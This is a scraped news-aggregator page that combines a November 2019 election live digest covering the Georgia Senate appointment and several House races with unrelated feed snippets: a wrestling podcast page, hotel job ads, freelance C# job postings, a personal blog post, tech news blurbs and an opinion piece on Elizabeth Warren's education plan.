GA-Sen-B: Georgia Gov. Brian Kemp has the ordinarily enviable opportunity to make someone's political career by appointing them to the Senate when Sen. Johnny Isakson resigns at the end of the year, but like so much else in Republican politics, Donald Trump has managed to make the once-pleasurable suddenly miserable.

Kemp recently squired his preferred pick, wealthy financial services executive Kelly Loeffler, to a secret White House meeting last weekend to secure Trump's blessing, but by all accounts, it went very poorly. According to the Wall Street Journal, the gathering "turned tense and ended quickly" because Trump strongly prefers Rep. Doug Collins, a loudmouth who has aggressively defended Trump throughout the impeachment process and will soon have an even more visible perch to do so as the top-ranking Republican on the House Judiciary Committee.

Trump reportedly even asked Kemp what the purpose of their meeting was if the governor had already made up his mind, though it's not clear that he has. Choosing Loeffler would make a certain amount of sense, though: As a first-time candidate, she doesn't have the same sort of baggage the arch-conservative Collins would bring in next year's special election, and she hails from the fast-growing Atlanta area while Collins represents a rural district in the state's northeast corner.

Loeffler is also fantastically rich: She's a part-owner of the Atlanta Dream, a WNBA team, and her husband, Jeffrey Sprecher, purchased the New York Stock Exchange (yes, he bought the stock exchange itself) for $8.2 billion in 2012. With the Peach State playing host to two competitive Senate elections in 2020, a self-funder could take some pressure off Republican Sen. David Purdue. Given Georgia's left-ward political trends, all of this suggests Loeffler would make for a more appealing nominee than Collins (though the fact that she's a woman likely won't help the GOP as much as Republicans would like to believe).

But these considerations, of course, mean little to Trump—though what Trump cares about means a lot to Kemp. Trump's unexpected intervention in last year's GOP primary for governor was a major factor in Kemp's dominant come-from-behind win in the runoff over the establishment favorite, Lt. Gov. Casey Cagle, who’d led the voting in the first round. Trump also campaigned for Kemp in central Georgia just before Election Day; whether or not that rally was actually a boon is an open question, but Kemp's indebtedness to Trump is not.

That debt might explain the statement a Kemp spokesperson provided after the WSJ published its article, saying the governor "plans to appoint a strong supporter of the President who will end the impeachment circus and advance conservative policies that Keep America Great." But while that might sound like a nod toward Collins, Loeffler similarly pledged to "stand with President Trump … to Keep America Great" in her application for the soon-to-be-vacant Senate post.

As for when all this drama might finally conclude, no one's sure. Isakson has said he'll step down on Dec. 31, though there's nothing stopping Kemp from acting before then. The WSJ says that Kemp's team "has discussed announcing the decision after Thanksgiving," but the upshot of that discussion we aren't privy to.

Tuesday, Nov 26, 2019 · 9:39:48 PM +00:00 · David Nir

Programming note: In celebration of the Thanksgiving holiday, there will be no Live Digest for the rest of the week. The Morning Digest will resume publication on Tuesday. Happy Turkey Day!

Tuesday, Nov 26, 2019 · 9:58:51 PM +00:00 · Jeff Singer

MO-02: The St. Louis Post-Dispatch reports that both parties expect Democratic state Sen. Jill Schupp to challenge GOP Rep. Ann Wagner next year in this suburban St. Louis seat, though Schupp has not yet said anything publicly. Missouri’s 2nd Congressional District backed Donald Trump 53-42, but Wagner only won re-election last year 51-47.

Schupp flipped an open GOP-held seat during the 2014 red wave by defeating Republican Jay Ashcroft 50-47 in a district that had backed Barack Obama by the same spread two years before. Senate District 24 went on to support Hillary Clinton 53-42 in 2016 (Ashcroft was elected secretary of state that same year), and Schupp won re-election in 2018 61-37 after raising what the paper describes as a “menacing $1 million.”

Tuesday, Nov 26, 2019 · 10:00:43 PM +00:00 · Jeff Singer

TX-17: Republican Renee Swann, who runs an eye surgery practice in Waco, announced Tuesday that she was joining the March primary for this open seat.

Tuesday, Nov 26, 2019 · 10:19:36 PM +00:00 · Jeff Singer

FL-15 : The Justice Department is currently investigating whether freshman Rep. Ross Spano violated campaign finance laws during his 2018 GOP primary, and he could face a rematch with the person he beat in that contest. The Ledger recently asked former state Rep. Neil Combee, who lost 44-34 last year, if he was considering running in next year’s GOP primary, and while he responded, “I have not,” Combee didn’t stop there.

After speaking at length about Spano's predicament, Combee concluded, "I would not do anything until this is settled." That could just be some free consulting advice to anyone who might be listening, or could mean that Combee is waiting to see how everything wraps up before deciding whether to run for this seat a second time.

Combee did say that he’d heard that other Republicans are considering challenging Spano, but he refused to name anyone. However, Sean Harper, who took third place in the primary with 10%, told the paper he didn’t plan to run, though there’s no quote from him in the story. 

Tuesday, Nov 26, 2019 · 10:36:53 PM +00:00 · David Nir

PA-16: Republican Rep. Mike Kelly was busted hard by a local news station earlier this year for selling used cars that were subject to safety recalls, including some with deadly airbags, so what has he done since then? Continued to sell used cars that are still subject to safety recalls—including some with deadly airbags.

Kelly, who represents the 16th Congressional District in Pennsylvania’s northwest corner, had refused to comment when dogged WTAE report Paul Van Osdol first broke this story in May, but Van Osdol was finally able to track down Kelly in person. Kelly was non-responsive, though, when Van Osdol directly asked him, "Why were you selling vehicles with open safety recalls?" But when asked if he was still selling such cars, Kelly made an offer that he now wishes he could take back: "Why don't you come up and check it like you did last time?" the congressman proposed. "You can do that, come up and check them and maybe we'll have someone show you through our lot. You can take a look and see."

Of course, Van Osdol did just that. He found 15 vehicles still under active recalls at just one Kelly dealership, with one sedan still carrying a type of airbag, made by a company called Takata, that's been responsible for at least 24 deaths. Those killed include 26-year-old Jewel Brangman, who died in 2014 when a Takata airbag went off after a minor crash, firing a burst of metal fragments into her neck that severed her carotid artery.

Van Osdol also discovered that Kelly's website was advertising five affected cars as "GM-certified," even though General Motors only allows vehicles to be designated as such if all outstanding recalls have been addressed. A GM spokesperson insisted that the vehicles had been removed from the "certified" list but couldn't explain why the dealership was still describing them that way. Meanwhile, Kelly's son Brendan, who runs the lot in question, declined to speak with Van Osdol.

You may be wondering at this point how it's even possible Kelly could sell such cars in the first place. It turns out that in his home state, it's perfectly legal: After an organized push by used car dealers in at least 11 states, both Pennsylvania and Tennessee changed their laws to allow dealers to sell vehicles that have been recalled—as long as they note the recall "somewhere in a stack of sales documents," as one in-depth investigative report put it.

As Van Osdol noted in his original exposé, when a similar bill came before Congress in 2015, one key supporter insisted, "There is not a single person in our business that would ever put one of our owners in a defective car or a car with a recall." That congressman's name? Mike Kelly.

Tuesday, Nov 26, 2019 · 11:06:33 PM +00:00 · Jeff Singer

NJ-02: Freshman Rep. Jeff Van Drew infuriated progressives across the country after he was one of just two Democrats to vote against formalizing the impeachment inquiry into Donald Trump, but he may have more immediate problems with Democratic power brokers at home in this competitive South Jersey seat.

Six unnamed Democratic leaders tell the New Jersey Globe’s David Wildstein that Van Drew “could lose contests for organization lines at county conventions early next year,” which would be a very big setback for him in the June primary. In New Jersey primaries, a candidate endorsed by the local party appears in a separate column on the ballot along with other party endorsees, a designation known colloquially as the “organization line.” Party machines are still quite powerful in the Garden State, so Van Drew could struggle if a rival can win over enough organization lines next year.

Van Drew doesn’t currently face a serious intra-party foe, but Montclair University political science professor Brigid Callahan Harrison says she’s considering taking him on. Harrison declared that the congressman's opposition to impeachment has “made himself persona non grata within his party and the House leadership, which impacts every resident of New Jersey’s 2nd Congressional District.”

Harrison also argued that Van Drew’s stance has already hurt his party at home. Harrison pointed to the results of the Nov. 5 legislative election in Van Drew’s old 1st Legislative District where a trio of Democratic incumbents, who ran as the “Van Drew team,” all lost. Harrison said that the result in LD-01, where the GOP scored their only pickup of the night, demonstrated that local Democratic voters “rejected the Van Drew team because of his impeachment vote and crossed party lines” to support the Republicans.

Harrison has only run for office once. Back in 1993, she ran what Wildstein describes as a “strong race for Atlantic County Freeholder” where she narrowly lost to a GOP incumbent.

Other Democrats may also be interested in challenging Van Drew. One local leader mentions Assemblymen Vince Mazzeo and Adam Taliaferro as possibilities, though Mazzeo quickly said it was unlikely he’d take on the incumbent.

If Van Drew does win renomination, he’ll need to quickly prepare for an expensive general election in a seat that Trump carried 51-46. Wealthy businessman David Richter, who is the only notable Republican in the race right now, only raised $113,000 from donors during his opening quarter, but he self-funded another $300,000 and had $390,000 to spend at the end of September. Van Drew took in $529,000 during this time and had $932,000 in the bank.


          

To Computing And Programming With Java A Multimedia Approach By Mark J Guzdial 2006 04 17

 Cache   
To Computing And Programming With Java A Multimedia Approach By Mark J Guzdial 2006 04 17
          

Webbased Introduction To Programming Essential Algorithms Syntax And Control Structures Using Php Html And Mysql Third Edition By Mike Okane 20140107

 Cache   
Webbased Introduction To Programming Essential Algorithms Syntax And Control Structures Using Php Html And Mysql Third Edition By Mike Okane 20140107
          

Congress Budget Battles Could Leave HIV Funding Out in the Cold

 Cache   
As of right now, additional funding linked to the administration's Ending the HIV Epidemic (EtE) initiative has not been included as an anomaly in the current CR; as a result, the future of EtE programming remains in doubt.
          

Don Tony And Kevin Castle Show 11/25/2019

 Cache   


RUNNING TIME: 93 Minutes
Hosted by Don Tony and Kevin Castle

RIGHT CLICK AND SAVE to download the 11/25/2019 episode

CLICK HERE for the COMMERCIAL FREE 11/25/2019 episode.

CLICK HERE to listen to the 11/25/2019 episode online.

CLICK HERE to download the WWE SURVIVOR SERIES PPV RECAP (11/24/2019)

CLICK HERE to download the EP10 WEDNESDAY NIGHT DON-O-MITE (11/20/2019)

CLICK HERE to access previous episodes for all the shows!

=================

Wednesday Night Don-O-Mite

REMINDER: 'WEDNESDAY NIGHT DON-O-MITE' RETURNS *LIVE* THIS WEDNESDAY (11/27/2019) 10PM EST!

Immediately following NXT and AEW Dynamite, make sure to tune in LIVE for 'Wednesday Night Don-O-Mite' hosted by Don Tony.

Wednesday Night Don-O-Mite streams live on MIXLR and our DISCORD channel at 10PM EST.

W.N.D covers AEW, NXT, Impact Wrestling, ROH, and more. In other words, everything except WWE Raw and Smackdown.

Note: Breakfast With Blasi remains and will continue to be offered bi-monthly.

=================

DTKC AND WRESTLING SOUP ARE NOW ON DISCORD!
Join DTKC, Mish, Joey Numbas and fellow members of our DTKC Show family as we take our shows to a whole new interactive level. Join the thousands who have already signed up. Coming soon, call-ins to our shows, video podcasts, bonus content exclusive for our Patrons, impromptu chats with Mish and DT, even gaming! Want to challenge DT to some Poker? Spades? Hearts and more? Sign up now. It's free for everyone (Patrons and Non-Patrons) and you'll have a blast! 

CLICK HERE to join us now.

===============

IF YOU ARE A FAN OF 'DON TONY AND KEVIN CASTLE SHOW' and 'BREAKFAST WITH BLASI' and just can't get enough of the shows, check out our PATREON PAGE!

You'll gain access to our Patreon Exclusive LIVE show every FRIDAY after WWE Smackdown. You can also enjoy our Patreon exclusive podcasts such as 'Breakfast Soup' hosted by Don Tony and Missionary, 'Castle Chronicles' hosted by Kevin Castle, 'Blah Blah Blah' hosted by Don Tony and more. 

Plus ad-free episodes of DTKC Show, Breakfast With Blasi, and TWIWH. And, you also have exclusive access to lost episodes of 'The Minority Report' from 2004/2005, select vintage episodes of 'The Masked Maniac Show', and retro Blackhearts Hotline reports from 2001/2002.

In addition to the shows, we hold monthly PPV Predictions Contests with great prizes! And by signing up, you'll help us keep the DTKC Show and BwB free for everyone, and get interactive with DTKC like never before. You get it all for as little as $2!

CLICK HERE to visit our Patreon page and gain access now!

===============

Special thanks to our ASSOCIATE PRODUCERS and SPONSORS (below). These are very special friends of our shows and their help and loyalty is greatly appreciated!

ASSOCIATE PRODUCERS:

  • 'TCB' Tighe C Bowers
  • Julius Tillery
  • Aaron from Anaheim
  • Seth Washington
  • Isaac Foxx
  • Whisperer Rob
  • G Unit- J Gambino
  • Neil Macleod
  • VICKCONDOR!
  • Garcia Akane
  • CM Black Pixels
  • Jacob Esten
  • Michaeljon Buchanan
  • Stel
  • Derek Brewer
  • Jerry Stewart
  • Johnny Morin 
  • Michael Westphal 
  • Brandon Foley 
  • Chuck Lentz 
  • Tony
  • Chris Harris
  • Keith Doherty
  • John Krauser
  • Roger 'Saul Goodman' Rubio
  • Phatty 316
  • Stan 'The Man' Laudon
  • Don Tony's Political Advisor
  • D Boy Gentleman
  • Ernesto Di Fenza
  • Timothy Keel
  • Kane Shaw
  • Jeffrey Collins
  • James Mills
  • Cockboy
  • Jsmooty
  • Tom Boffa
  • Joseph Nykoluk
  • Nik O' Time
  • Michael Rhino
  • Paul Convoy
  • Adam DeMouy
  • Billy Taylor
  • Hassan AL-Hashmi
  • Brent Webster
  • Aaron Kloss
  • Alton Ehia
  • Anthony Smith
  • James Gruesome
  • Marc Israel
  • Bob O Mac
  • CJ Uehara
  • Kress Mann
  • James Diehl
  • 'SwitchBabe' Courtney Summers 
  • Diogo Nobre
  • John Coffee
  • Tim Everhardt
  • Andrew 914
  • Donald J Trump
  • Russell Zavala 
  • Murrell Coombes Jr
  • Douglas MacKay 
  • Keith Lee
  • James Farmer
  • John Garcia
  • Maddog No Good
  • Larry Traylor
  • Tommy Pockesci
  • Zack Spoonamore
  • Chris Lumnah
  • Rich Maharg
  • Julien LeBlanc 
  • Big Red Brandon Ryce 
  • Karl Buteau aka Cheese&Rice 
  • Spider Lewin 
  • Rob McCabe 
  • Brian Byrne 
  • Daniel Warren 
  • Michael Cuomo 

SPONSORS

=================

PANDORA, WE'RE HERE! (DTKC SHOW NOW ON PANDORA!)
Pandora Radio has launched an all new Podcast section, which features a very limited number of shows. And we are proud to announce we were chosen to be one of them! If you haven't experienced Pandora Radio, try it out. And if you are already a subscriber, you can now stream our entire library! Remember, at this time, all Podcasts on Pandora are available only thru their Phone App.

CLICK HERE to listen to DTKC SHOW, BwB, TWIWH, and more on Pandora thru your mobile phone now!

===============

DTKC SHOW / BwB / BREAKFAST SOUP / MATARRAZ T-SHIRTS ON SALE!
Pro Wrestling Tees has launched the only source for T-Shirts of' Don Tony and Kevin Castle Show', 'Breakfast w/ Blasi', 'Breakfast Soup', and even 'Deli Man'! Please visit our T-Shirt store now. More designs will be added shortly.

CLICK HERE to visit our T-Shirt Store now!

=============== 

PROGRAMMING NOTE: DON TONY AND KEVIN CASTLE SHOW
Your next episode of the 'Don Tony And Kevin Castle Show' will air Monday December 2, 2019 LIVE at 11PM EST following WWE Raw.

Thank you to everyone who enjoys what we do. Please spread the word of our show. You are the reason why our show now receives over 150,000 downloads weekly and over six million downloads annually!

===============

CLICK HERE FOR STITCHER

CLICK HERE FOR ITUNES

CLICK HERE FOR IHEARTRADIO

CLICK HERE FOR BLUBRRY

CLICK HERE FOR IPHONE,IPAD, & IPOD TOUCH APP


          

Flowy, the simple flowchart engine

 Cache   
Nice work by Alyssa X: Flowy makes creating WebApps with flowchart functionality an incredibly simple task. Build automation software, mind mapping tools, or simple programming platforms in minutes by implementing the library into your project. Flowy Source →Flowy Demo →
          

Hospitality & Tourism: Cocktail Server-One East at Westin Crown Center - The Westin Kansas City At Crown Center - (19144020 - Olathe, Kansas

 Cache   
Here's To Your Journey with Westin At Westin, we are committed to empowering the well-being of our guests by providing a refreshing environment, thoughtful amenities, and revitalizing programming to help ensure that they leave feeling better than when they arrived. We recognize that travel can be disruptive to our guests well-being, and were energized to assist as partners in helping them maintain control and soaring above it all while on the road. Everything we do is designed to help guests be at their best, and they appreciate our supportive attitude, anticipatory service and extensive knowledge on how to best assist them throughout their stay. We are looking for dynamic people who are excited to join the team and ready to jump into any situation to give a helping hand. If youre someone who has is positive, adaptable and intuitive, and has a genuine interest in the well-being of others around you, we invite you to discover how at Westin, together we can rise. The Westin Kansas City At Crown Center, located at 1 E Pershing Rd, Kansas City, Missouri, 64108 is currently hiring a Cocktail Server-One East at Westin Crown Center. Responsibilities include: Explore our very big world We welcome you to join our global and diverse family. Whether youre new to hospitality or a seasoned professional, you can come to us knowing that you will always be appreciated for your natural talents. Your positive energy and people-pleasing mindset are an important part of why our guests stay with us again and again. Rewards for work, benefits for life Youll be supported in and out of the workplace through: Discounts on hotel rooms, gift shop items, food and beverage Learning and development opportunities Recognition programs Wellbeing programs Encouraging management Team-spirited colleagues The impact youll make You know the finest details of our menu and cant wait to share your expertise with our guests. When they dine with us, your warm greeting, flawless table settings, and your friendly demeanor do not go unnoticed. No matter the day, you set out to provide each guest with a dining experience that will be remembered long after their stay. What youll be doing Welcome guests and promptly attend to tables Serve food and beverages to guests making recommendations if needed Share your menu knowledge to assist guests with questions and special requests Record transactions in the MICROS system correctly and timely Check-in with guests to assure satisfaction with each course and beverage Clean tables, complete closing duties and re-stock tableware and other supplies What were looking for Great conversational skills and teamwork-oriented Positive outlook and outgoing personality Previous serving experience is a big plus This role requires the ability to move and lift up to 25 lbs. Standing, sitting or walking for extended periods of time and ensuring a professional appearance in a clean uniform are also required. Prior to employment, well ask you to complete safety training and certification. Connect your passions with a rewarding opportunity Youre a food and beverage enthusiast who really enjoys making others feel at home. When you work with us, you''ll get to entertain and meet people from all over the world as you build your experience. Join us and grow through opportunities to explore the business, opening yourself to various career options. No matter your path, well make sure you feel right at home. To apply now, go to: https://jobs.marriott.com/marriott/jobs/19144020?%3Flang=en-us/ Marriott International is consistently recognized as an employer of choice globally by FORTUNE magazine, DiversityInc and Great Places to Work Institute, among others. Visit www.marriott.com/careers to learn more about our workplace culture and career opportunities. Chat, engage and follow us on social media. www.facebook.com/marriottjobsandcareers http://www.instagram.com/marriottcareers @lifeatmarriott on Snapchat So, we ask, where will your journey take you? - Marriott International is an equal opportunity employer committed to hiring a diverse workforce and sustaining an inclusive culture. Marriott International does not discriminate on the basis of disability, veteran status or any other basis protected under federal, state or local laws. ()
          

Other: Loss Prevention-On Call - The Westin - (19138524) - Olathe, Kansas

 Cache   
Here's To Your Journey with Westin At Westin, we are committed to empowering the well-being of our guests by providing a refreshing environment, thoughtful amenities, and revitalizing programming to help ensure that they leave feeling better than when they arrived. We recognize that travel can be disruptive to our guests well-being, and were energized to assist as partners in helping them maintain control and soaring above it all while on the road. Everything we do is designed to help guests be at their best, and they appreciate our supportive attitude, anticipatory service and extensive knowledge on how to best assist them throughout their stay. We are looking for dynamic people who are excited to join the team and ready to jump into any situation to give a helping hand. If youre someone who has is positive, adaptable and intuitive, and has a genuine interest in the well-being of others around you, we invite you to discover how at Westin, together we can rise. The Westin Kansas City At Crown Center, located at 1 E Pershing Rd, Kansas City, Missouri, 64108 is currently hiring a Loss Prevention-On Call. Responsibilities include: Welcome to our family We welcome you to be a member of our global, diverse Marriott family. Whether traveling across the city or around the globe we realize the importance of making each guest feel as welcome and secure as possible. Your protective nature and attention to details will play an important role in our success. Here, your work is appreciated as much as your individuality and you will be supported in all of your efforts. The impact youll make Your watchful eye and protective instinct goes far beyond basic. Because of you, our guests can come and go freely without worry. Your dedication to safety provides the guest the same sense of security as they feel in their own home. What youll do Patrol all areas of the property and assist guests with room access Monitor security feeds and conduct daily physical hazard inspections Respond to accidents and assist guests/employees during emergency situations Defuse guest disturbances and escort individuals from the property if necessary Conduct investigations, gather evidence, and facilitate interviews with relevant parties Complete required shift reports and maintain confidentiality of all loss prevention documents Perks you deserve Well support you in and out of the workplace by offering: Team-spirited coworkers Learning and development opportunities Encouraging management Wellbeing programs Discounts on hotel rooms, gift shop items, food and beverage Recognition programs What were looking for Strong communication skills A history of thriving in stressful situations A team-first attitude A gift for paying attention to the smallest details Exercise good judgment and maintain a professional demeanor This role requires compliance with quality assurance expectations and standards. You may be required to stand, sit, or walk for an extended period of time. Move, lift, carry, push, pull, and place objects weighing less than or equal to 50 pounds without assistance and assist with moving objects weighing in excess of 75 pounds. Enter and locate work-related information using computers and/or point of sale systems. Perform other reasonable job duties as requested by Supervisors. Youre welcomed here Our highest priority is making you feel as welcome as our guests. We want you to feel comfortable being yourself and to know youre important to us. Youll make an impact in your role, and for that, youll be appreciated and valued. To apply now, go to: https://jobs.marriott.com/marriott/jobs/19138524?%3Flang=en-us/ Marriott International is consistently recognized as an employer of choice globally by FORTUNE magazine, DiversityInc and Great Places to Work Institute, among others. Visit www.marriott.com/careers to learn more about our workplace culture and career opportunities. Chat, engage and follow us on social media. www.facebook.com/marriottjobsandcareers http://www.instagram.com/marriottcareers @lifeatmarriott on Snapchat So, we ask, where will your journey take you? - Marriott International is an equal opportunity employer committed to hiring a diverse workforce and sustaining an inclusive culture. Marriott International does not discriminate on the basis of disability, veteran status or any other basis protected under federal, state or local laws. ()
          

Mek to Showcase Latest Range of AOI Technology at IPC Apex

 Cache   
Mek (Marantz Electronics), will be showcasing the ISO-Spector M1 Full 3D AOI system with Artificial Intelligence at this year&rsquo;s Apex in San Diego on booth 3029. One of the greatest challenges in programming AOI, (Automatic Optical Inspection) systems is the detection of all non-conforming placements, especially those related to solder joints, without creating a long list of &lsquo;&rsquo;False Calls&rsquo;&rsquo;. The industry has always faced this problem and has had to accept that...

This story is related to the following:
Test & Measuring Instruments

Search for suppliers of: Automatic Optical Inspection Systems

          

2019 Sees More Geeky Advent Calendars

 Cache   
It's the first day of December, which means the return of an annual geek tradition: the computer programming advent calendars! An anonymous reader delivers this update:It's the very first year for the Raku Advent Calendar (using the language formerly known as Perl 6). Meanwhile, Perl 5 still has its own separate advent calendar. Amsterdam-based Perl programmer Andrew Shitov is also writing a special "Language a Day" advent calendar in which he'll cover the basics of an e
          

So Now What?

 Cache   

The question I've ducked socially for almost two months has been rather simple: What now?

The correct answers to it have been absolutely nothing in terms of steady employment and lots and lots of time spent in therapy. When you leave a job due to a health scare you don't immediately rebound from something like that. Considering that my now immediate past employer is rather odious in the minds of many thanks to its current CEO the job prospects are effectively rather dim to non-existent.

I've been keeping up with therapy. That's meant having to go to the gym to spend time. That's meant going to see the doctor as required. That's also meant tuning out the apocalyptic craziness of the news and substituting instead The Archers as well as other programs. I've also been starting to look at what needs updating in Xubuntu documentation. I know there is at least one chapter I should be providing a rather significant amount of editing to.

Currently I had one short story rejected by an outlet as it didn't fit their needs. Apparently it was too hard sci-fi in an age where that is becoming quite a niche. I've got a different one that I'm working on in a gitit wiki that I've gotten over the 1,500 word mark that I am still trying to get going towards at least the 7,500 word mark. I have not done much in terms of fiction writing in a while so that is a useful exercise right now after spending almost six years writing case report after case report. It appears that gitit is working better than I initially expected on the in-house on-premises server.

I am still preaching twice per month at a local nursing home. I think we're heading into the fourth year of that now, actually. Thanks to the great tools in the package archive as well as LaTeX2e I am able to prepare worship handouts for use at every service. LaTeX wasn't the best programming language to pick up while working for Uncle Sam but it has proved very useful over time. Coming from a Christian tradition where there are no bishops but rather editor/publishers the ability to readily handle publication layout while also readily producing textual exposition makes life exciting. Each handout gives credit to Xubuntu for being the Linux distro used in production so many, many elderly folks get an unusual bit of exposure to Linux at least twice per month. Currently the domestic mission work is performed gratis after support was provided on a limited basis by West Avenue Church of Christ to cover printing expenses.

Currently there is a Christmas wishlist that has been posted for the sake of amusing people. Coming back to the main question of What Now I can only say that I am working on projects under the aegis of Erie Looking Productions. There is, of course, Liberapay available to help support me getting back up writing fiction and non-fiction as well as PayPal for one-time contributions of support for the various types of works. An in-progress project is helping an auto shop get ready for a trade show and I'm putting together their booth audiovisual presentation systems to be able to exhibit.

I am ready for 2019 to end. For next year there are many hopeful possibilities.

UPDATE 2019-11-25 I will apparently be heading in for significant oral surgery next week Friday that will require sedation. The news of this only came to me earlier today. It ties back to the not immediately rebounding and I should be glad that this is moving forward. It also appears that restarting podcasting on my part may be delayed unless I stick to being just a staff writer while things play out from the surgery and the follow-up process that will take some time.


          

c#, WPF developer needed

 Cache   
i am looking for a person, who is highly skilled with WPF applications. (Budget: $15 - $25 USD, Jobs: .NET, ASP.NET, C# Programming, Microsoft SQL Server, WPF)..
          

Build a website using C# in visual studio

 Cache   
This project let you apply the programming skills you learned in Internet Programming class by developing an application called Online Bill Payment. You will build a website which serves as an online ..
          

Website for a Bank using C#, Azure, Visual Studio, and MVC

 Cache   
The attached file has the specifications. (Budget: $250 - $750 USD, Jobs: .NET, ASP.NET, C# Programming, Microsoft SQL Server, MVC)..
          

Azure and C# Project

 Cache   
anyone who knows webs service interfaces in c# and modelling workflows can do this. (Budget: ?600 - ?1500 INR, Jobs: Amazon Web Services, ASP.NET, Azure, C# Programming)..
          

azure and c# project

 Cache   
anyone who knows webs service interfaces in c# and modelling workflows can do this (Budget: ?100 - ?400 INR, Jobs: .NET, ASP.NET, C# Programming, C++ Programming, Microsoft SQL Server)..
          

website using asp.net

 Cache   
need to build admin control page in visual studio 2017 using asp.net (Budget: $10 - $50 USD, Jobs: .NET, ASP, ASP.NET, C# Programming, Microsoft SQL Server)..
          

Schema creation in Postman project

 Cache   
I need an expert to teach schemas in postman to test webapi in c# (Budget: ?100 - ?400 INR, Jobs: .NET, ASP.NET, C# Programming, Schematics, Web API)..
          

Create an Azure Webhook C# function to get alert from Tradingview chart.

 Cache   
Create an Azure Webhook C# function to get alert from Trading-view chart. Link to TradingView: https://www.tradingview.com/ (Budget: $10 - $30 USD, Jobs: .NET, ASP.NET, C# Programming)..
          

run application coubtinously at specific time

 Cache   
technology c# console application (Budget: ?600 - ?1500 INR, Jobs: ASP.NET, C# Programming)..
          

Guido van Rossum Explains How Python Makes Thinking in Code Easier

 Cache   
Dropbox's Work in Progress blog shared a 2000-word "conversation with the creator of the world's most popular programming language," noting that many computer science schools are switching over from Java to Python, and arguing that "JavaScript still owns the web, and Java runs 2.5 billion Android phones, but for general purpose programming and education, Python has become the default standard." They also write that the language's recently-retired creator Guido
          

Programmers: At What Age Did You Start Programming

 Cache   
A lot of people think they are too old to start programming while others think they are too small when asked to learn to code

The Question is, AT WHAT AGE DID YOU STARTED PROGRAMMING' you could mention your first tech, how it went then and your experience now.

Let's inspire one another
          

Programmer & Research Analyst - Yukon Government - Whitehorse, YT

 Cache   
Reporting to the Senior Statistician, the Programmer and Research Analyst is responsible for programming software for survey and statistical research including… $70,795 - $81,620 a year
From Yukon Government - Wed, 20 Nov 2019 09:03:49 GMT - View all Whitehorse, YT jobs
          

AutoCAD Detailer (CNC Programmer)

 Cache   
Coletech Quality Woodworking Inc. - Scarborough, ON - working experience or 3-4 years of college training in autocad CNC Programming...
          

Congress Must Act Now to Stop TV Blackouts for Nearly 900,000 Americans

 Cache   

STELAR allows viewers nationwide to receive network programming from a local station when possible or from satellite delivery when necessary. If STELAR is not renewed, there are at least 870,000 mostly rural people who will lose access to at least some network programming.

The post Congress Must Act Now to Stop TV Blackouts for Nearly 900,000 Americans appeared first on Internet Innovation Alliance.


          

Basics And C Programming

 Cache   
Basics And C Programming
          

Janresseger: Beware: Opponents of Elizabeth Warren’s Education Plan Have a Vested Interest in Expanding School Privatization

 Cache   
Janresseger: Beware: Opponents of Elizabeth Warren’s Education Plan Have a Vested Interest in Expanding School Privatization

In October, Elizabeth Warren released an exemplary plan for public education. As she campaigns across the country to be chosen as the Democratic candidate for President in 2020, I hope she will continue to advocate for the important principles in her public education plan.

In the past decade public schools in many places have been beleaguered by dropping state revenue in the 2008 recession and politicians further cutting taxes. And over several decades, a new philosophy of education has been acted into law by ideologues who promote corporate accountability driven by evaluating schools and teachers by students’ standardized test scores and punishing schools that fall behind in a system based on competition. Because aggregate test scores in any school have been shown by a half century of research to correlate with the family income of the students in the school, and because our society has become highly segregated by income, this system has shut down public schools in the poorest neighborhoods, produced state takeover of struggling big city schools and school districts, and prescribed school privatization—more charter schools and vouchers—as though it is a solution.

Warren’s plan turns away from corporate, test-and-punish school reform and calls for strengthening America’s public schools.  The plan demands that Congress quadruple the federal investment in Title I, the 1965 Great Society program to support public schools serving concentrations of children in poverty. Warren’s plan calls on Congress fully to fund the Individuals with Disabilities Education Act, a federal program which mandates that schools provide specialized services for disabled students. In 1975, Congress promised to fund 40 percent of IDEA’s cost, but last year Congress continued years of underfunding when it chose to fund only 15 percent of the IDEA’s mandated programming.  Warren calls for adding 25,000 Community Schools, making these public schools into neighborhood centers for families in impoverished neighborhoods—with schools housing wraparound health, social service, and after school and summer programs right in the school building.  Warren calls for strengthening English language education for students whose primary language is not English, and she insists that the Department of Education’s Office for Civil Rights be strengthened after four years of Betsy DeVos’s weakening civil rights enforcement.

Warren also calls for reining in out-of-control diversion of public school funds to privatized charter schools and vouchers.  Warren would not only ban for-profit charter schools but she would also ban the lucrative arrangements by which states now permit nonprofit charter schools to be operated by for-profit management companies, which reap massive profits from our tax dollars.

Finally, Warren advocates ending the federal Charter Schools Program (CSP), a stream of federal grant money used by states authorizing charter schools and charter management organizations to start-up new charter schools. In a scathing report, Asleep at the Wheel, released last March, the Network for Public Education found that the federal Charter Schools Program, launched in 1994, has awarded $4 billion in federal tax dollars to start up or expand charter schools across 44 states and the District of Columbia.  This program has provided some of the funding for 40 percent of the charter schools across the country, but, as the Network for Public Education has shown, at least a third of the schools receiving CSP dollars either never opened or opened and then quickly shut down due to financial or academic problems. The findings by the Network for Public Education are mirrored in a series of  biennial investigations, beginning in 2012 by the U.S. Department of Education’s own Office of Inspector General, which has repeatedly condemned this program for lack of record keeping and the utter absence of oversight of states’ and charter management organizations’ use of the funds.

It shouldn’t be surprising that supporters of the rapid expansion of charter schools have begun condemning Warren’s education plan. Warren makes a solid case for curtailing the publicly funded expansion of privatized alternatives to public schools.  Advocates for  public education, however, strongly endorse Warren’s plan and dispute the arguments of the charter school supporters who are criticizing it.

Three weeks ago, in the Washington PostCarol Burris published a column to refute arguments being made against Warren’s education plan by charter school supporters.  Burris, was one of the authors of the Network for Public Education’s Asleep at the Wheel report.  In her column, Burris points out that in 2018, under U.S. Education Secretary Betsy DeVos, the federal Charter Schools Program was expanded to include a new funding stream, the National Dissemination Grants Program, under which DeVos began awarding federal grants from the CSP to charter school advocacy organizations themselves. In 2018, for example, under the new National Dissemination Grants Program, the National Alliance of Public Charter Schools received a federal grant of $2,385,960.  Burris explains: “The new National Dissemination Grants Program has… been a financial windfall for charter advocacy groups … Grants to private organizations totaled $16 million in 2018, federal records show.  Joining the National Alliance were the National Association of Charter School Authorizers and the California Charter Schools Association….”

Burris describes strong condemnation of Warren’s plan, for example, by Nina Rees, the president and CEO of the National Alliance for Public Charter Schools, who responded to the release of Warren’s plan in a fundraising letter: “Today Presidential candidate and Senator Elizabeth Warren called to end federal funding for the expansion of charter schools… Please contribute to the Charter Schools Action PAC today.”

